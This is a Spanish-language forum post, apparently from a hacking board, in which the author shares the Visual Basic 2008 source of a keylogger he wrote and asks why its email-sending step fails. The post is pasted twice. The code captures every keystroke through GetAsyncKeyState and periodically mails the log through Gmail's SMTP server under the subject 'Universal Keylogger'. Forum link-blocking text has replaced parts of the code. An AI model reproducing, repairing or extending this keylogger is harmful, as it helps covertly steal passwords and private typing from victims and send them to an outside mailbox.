Hola a todos, necesito vuestra ayudaporfavor. Llevo ya un par de dias intentandolo de todas las formas posibles y esque no hay manera! D:
Se trata de un keylogger hecho por mi en visual basic 2008. Cojer las pulsaciones y etc. lo hace perfecto, el problema esta en el ultimo paso, al enviar el email. El codigo es este:
Imports System.Web
Imports You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "mi contraseña ")
SmtpServer.Port = 587
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login = "smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("[email protected]")
mail.From = New MailAddress("[email protected]")
mail.Subject = "Universal Keylogger"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub
End Class
Ese es el code, pero a la hora de enviar el email me dice esto:
"No se controló SmtpException" "Error al enviar correo" y me marca en amarillo la parte "SmtpServer.Send(mail)"
porfavor alguna ayuda :S?
gracias de antemano!
PD: k tonto fui k sin kerer puse mi contraseña y uno me la cambio x) pero ya la he recuperado xD
Se trata de un keylogger hecho por mi en visual basic 2008. Cojer las pulsaciones y etc. lo hace perfecto, el problema esta en el ultimo paso, al enviar el email. El codigo es este:
Imports System.Web
Imports You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "mi contraseña ")
SmtpServer.Port = 587
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login = "smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("[email protected]")
mail.From = New MailAddress("[email protected]")
mail.Subject = "Universal Keylogger"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub
End Class
Ese es el code, pero a la hora de enviar el email me dice esto:
"No se controló SmtpException" "Error al enviar correo" y me marca en amarillo la parte "SmtpServer.Send(mail)"
porfavor alguna ayuda :S?
gracias de antemano!
PD: k tonto fui k sin kerer puse mi contraseña y uno me la cambio x) pero ya la he recuperado xD

